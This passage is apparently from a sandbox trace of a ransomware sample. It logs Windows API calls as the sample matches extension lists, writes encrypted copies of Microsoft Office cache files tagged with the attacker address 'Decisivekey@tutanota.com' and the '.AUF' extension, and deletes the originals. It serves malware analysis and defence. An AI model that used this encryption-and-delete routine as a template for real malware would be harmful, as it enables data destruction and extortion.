out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0204.344] SetEndOfFile (hFile=0x180) returned 1 [0204.345] CloseHandle (hObject=0x180) returned 1 [0204.345] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.345] SetEndOfFile (hFile=0x170) returned 1 [0204.346] CloseHandle (hObject=0x170) returned 1 [0204.346] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.346] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".doc") returned 4 [0204.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".docx") returned 5 [0204.347] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.347] lstrlenW (lpString=".pdf") returned 4 [0204.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".xls") returned 4 [0204.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".xlsx") returned 5 [0204.347] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.347] lstrlenW (lpString=".ppt") returned 4 [0204.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".zip") returned 4 [0204.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.347] lstrlenW (lpString=".rar") returned 4 [0204.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".bz2") returned 4 [0204.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".7z") returned 3 [0204.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".dbf") returned 4 [0204.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".1cd") returned 4 [0204.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".jpg") returned 4 [0204.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.347] lstrlenW (lpString=".doc") returned 4 [0204.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".docx") returned 5 [0204.347] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.347] lstrlenW (lpString=".pdf") returned 4 [0204.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".xls") returned 4 [0204.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.347] lstrlenW (lpString=".xlsx") returned 5 [0204.347] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.348] lstrlenW (lpString=".ppt") returned 4 [0204.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.348] lstrlenW (lpString=".zip") returned 4 [0204.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.348] lstrlenW (lpString=".rar") returned 4 [0204.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.348] lstrlenW (lpString=".bz2") returned 4 [0204.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.348] lstrlenW (lpString=".7z") returned 3 [0204.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.348] lstrlenW (lpString=".dbf") returned 4 [0204.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.348] lstrlenW (lpString=".1cd") returned 4 [0204.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0204.348] lstrlenW (lpString=".jpg") returned 4 [0204.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.348] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.348] lstrlenW (lpString="Setup.xml") returned 9 [0204.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.348] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1852) returned 1 [0204.348] CloseHandle (hObject=0x170) returned 1 [0204.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.349] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.349] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.349] GetLastError () returned 0x0 [0204.349] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x73c, lpOverlapped=0x0) returned 1 [0204.356] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x740, lpOverlapped=0x0) returned 1 [0204.356] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.356] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.356] SetEndOfFile (hFile=0x180) returned 1 [0204.356] CloseHandle (hObject=0x180) returned 1 [0204.357] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.357] SetEndOfFile (hFile=0x170) returned 1 [0204.358] CloseHandle (hObject=0x170) returned 1 [0204.358] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.358] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.358] lstrlenW (lpString=".doc") returned 4 [0204.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString=".docx") returned 5 [0204.358] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.358] lstrlenW (lpString=".pdf") returned 4 [0204.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString=".xls") returned 4 [0204.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString=".xlsx") returned 5 [0204.358] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.358] lstrlenW (lpString=".ppt") returned 4 [0204.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.358] lstrlenW (lpString=".zip") returned 4 [0204.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.358] lstrlenW (lpString=".rar") returned 4 [0204.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString=".bz2") returned 4 [0204.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString=".7z") returned 3 [0204.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.358] lstrlenW (lpString=".dbf") returned 4 [0204.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.358] lstrlenW (lpString=".1cd") returned 4 [0204.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".jpg") returned 4 [0204.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".doc") returned 4 [0204.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString=".docx") returned 5 [0204.359] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.359] lstrlenW (lpString=".pdf") returned 4 [0204.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString=".xls") returned 4 [0204.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString=".xlsx") returned 5 [0204.359] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.359] lstrlenW (lpString=".ppt") returned 4 [0204.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".zip") returned 4 [0204.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.359] lstrlenW (lpString=".rar") returned 4 [0204.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString=".bz2") returned 4 [0204.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString=".7z") returned 3 [0204.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".dbf") returned 4 [0204.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".1cd") returned 4 [0204.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.359] lstrlenW (lpString=".jpg") returned 4 [0204.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.359] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.359] lstrlenW (lpString="Setup.xml") returned 9 [0204.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.360] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6241) returned 1 [0204.360] CloseHandle (hObject=0x170) returned 1 [0204.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.360] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.360] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.364] GetLastError () returned 0x0 [0204.364] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1861, lpOverlapped=0x0) returned 1 [0204.405] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0204.406] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.406] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.406] SetEndOfFile (hFile=0x180) returned 1 [0204.406] CloseHandle (hObject=0x180) returned 1 [0204.406] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.406] SetEndOfFile (hFile=0x170) returned 1 [0204.407] CloseHandle (hObject=0x170) returned 1 [0204.407] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.423] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.423] lstrlenW (lpString=".doc") returned 4 [0204.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.423] lstrlenW (lpString=".docx") returned 5 [0204.423] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.423] lstrlenW (lpString=".pdf") returned 4 [0204.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".xls") returned 4 [0204.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".xlsx") returned 5 [0204.424] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.424] lstrlenW (lpString=".ppt") returned 4 [0204.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".zip") returned 4 [0204.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.424] lstrlenW (lpString=".rar") returned 4 [0204.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".bz2") returned 4 [0204.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".7z") returned 3 [0204.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".dbf") returned 4 [0204.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".1cd") returned 4 [0204.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".jpg") returned 4 [0204.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".doc") returned 4 [0204.424] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".docx") returned 5 [0204.424] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.424] lstrlenW (lpString=".pdf") returned 4 [0204.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".xls") returned 4 [0204.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".xlsx") returned 5 [0204.424] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.424] lstrlenW (lpString=".ppt") returned 4 [0204.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".zip") returned 4 [0204.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.424] lstrlenW (lpString=".rar") returned 4 [0204.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".bz2") returned 4 [0204.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString=".7z") returned 3 [0204.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.424] lstrlenW (lpString=".dbf") returned 4 [0204.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.425] lstrlenW (lpString=".1cd") returned 4 [0204.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.425] lstrlenW (lpString=".jpg") returned 4 [0204.425] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.425] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.425] lstrlenW (lpString="VisioMUI.xml") returned 12 [0204.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.425] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9503) returned 1 [0204.425] CloseHandle (hObject=0x184) returned 1 [0204.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0204.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.425] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.425] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0204.425] GetLastError () returned 0x0 [0204.425] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x251f, lpOverlapped=0x0) returned 1 [0204.442] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0204.443] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, 